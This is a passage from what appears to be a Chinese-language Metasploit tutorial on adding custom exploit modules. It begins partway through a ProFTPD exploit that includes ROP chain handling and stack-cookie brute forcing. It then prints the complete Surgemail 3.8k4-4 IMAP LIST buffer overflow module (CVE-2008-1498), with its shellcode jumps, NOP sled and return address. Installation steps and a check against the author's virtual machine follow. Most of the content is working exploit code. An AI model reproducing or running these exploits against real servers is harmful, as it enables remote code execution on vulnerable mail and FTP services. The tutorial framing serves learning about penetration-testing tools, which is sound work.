 buf << rand\_text\_alphanumeric(mytarget['Offset'] - buf.length)

 addrs = [

 mytarget['Ret'],

 mytarget['Writable']

 ].pack('V\*')

 ##执行shellcode

 if mytarget['RopStack']

 addrs << mytarget['RopStack'].map { |e|

 if e == 0xcccccccc

 rand\_text(4).unpack('V').first

 else

 e

 end

 }.pack('V\*')

 end

 # Make sure we didn't introduce instability

 addr\_badchars = "\x09\x0a\x0b\x0c\x20"

 if idx = Rex::Text.badchar\_index(addrs, addr\_badchars)

 raise RuntimeError, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx])

 end

 buf << addrs

 buf << "\r\n"

 #

 # In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it

 # doesn't change while proftpd forks children. Therefore, we can try forever

 # and eventually guess it correctly.

 #

 # NOTE: if the cookie contains one of our bad characters, we're SOL.

 #

 if mytarget['CookieOffset']

 print\_status("!!! Attempting to bruteforce the cookie value! This can takes days. !!!")

 disconnect

 max = 0xffffff00

 off = mytarget['Offset'] + mytarget['CookieOffset']

 cookie = last\_cookie = 0

 #cookie = 0x17ccd600

 start = Time.now

 last = start - 10

 while not session\_created?

 now = Time.now

 if (now - last) >= 10

 perc = (cookie \* 100) / max

 qps = ((cookie - last\_cookie) >> 8) / 10.0

 print\_status("%.2f%% complete, %.2f attempts/sec - Trying: 0x%x" % [perc, qps, cookie])

 last = now

 last\_cookie = cookie

 end

 sd = connect(false)

 sd.get\_once

 buf[off, 4] = [cookie].pack('V')

 sd.put(buf)

 disconnect(sd)

 cookie += 0x100

 break if cookie > max

 end

 if not session\_created?

 raise RuntimeError, "Unable to guess the cookie value, sorry :-/"

 end

 else

 sock.put(buf)

 disconnect

 end

 handler

 end

end

增加exploit的方式比较简单，直接将写好的程序放在相应的目录下，重新启动console即可看到自己的exploit。下面以增加一个简单的exploit为例进行说明。增加的位置在msf3\modules\exploits\windows\imap,名子为surgemail\_list.rb，在增加以前，我们先在console查找一下，如图10所示：



图10：第一次查找surgemail

查找显示没有这个exploit。我们增加的exploit代码如下：

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Imap

 def initialize(info = {})

 super(update\_info(info,

 'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',

 'Description' => %q{

 This module exploits a stack overflow in the Surgemail IMAP Server

 version 3.8k4-4 by sending an overly long LIST command. Valid IMAP

 account credentials are required.

 },

 'Author' => [ 'ryujin' ],

 'License' => MSF\_LICENSE,

 'Version' => '$Revision: 1 $',

 'References' =>

 [

 [ 'BID', '28260' ],

 [ 'CVE', '2008-1498' ],

 [ 'URL', 'http://www.milw0rm.com/exploits/5259' ],

 ],

 'Privileged' => false,

 'DefaultOptions' =>

 {

 'EXITFUNC' => 'thread',

 },

 'Payload' =>

 {

 'Space' => 10351,

 'EncoderType' => Msf::Encoder::Type::AlphanumMixed,

 'DisableNops' => true,

 'BadChars' => "\x00"

 },

 'Platform' => 'win',

 'Targets' =>

 [

 [ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } ], # p/p/r 0x0078517e

 ],

 'DisclosureDate' => 'March 13 2008',

 'DefaultTarget' => 0))

 end

 def check

 connect

 disconnect

 if (banner and banner =~ /(Version 3.8k4-4)/)

 return Exploit::CheckCode::Vulnerable

 end

 return Exploit::CheckCode::Safe

 end

 def exploit

 connected = connect\_login

 nopes = "\x90"\*(payload\_space-payload.encoded.length) # to be fixed with make\_nops()

 sjump = "\xEB\xF9\x90\x90" # Jmp Back

 njump = "\xE9\xDD\xD7\xFF\xFF" # And Back Again Baby ;)

 evil = nopes + payload.encoded + njump + sjump + [target.ret].pack("A3")

 print\_status("Sending payload")

 sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"

 sock.put(sploit)

 handler

 disconnect

 end

end

将其直接放在msf3\modules\exploits\windows\imap\目录下，再查找一次，如图11所示：



图11：第二次查找surgemail

 仍然是没有找到，重新console，然后再进行查找，如图12所示：



图12：重启console后查找surgemail

 在上图中可以看到，已经查找到了新增加的exploit。下面看是否能使用，对其使用use，然后查看其选项，如图13所示：



图13：使用新增加的exploit surgemail

然后设定目标IP(本例中设定了自己建立的虚拟机)并进行check,因为虚拟机中并没有安装相应的服务，所以check的时候失败。如图14所示：



图14：使用新增exploit的check方法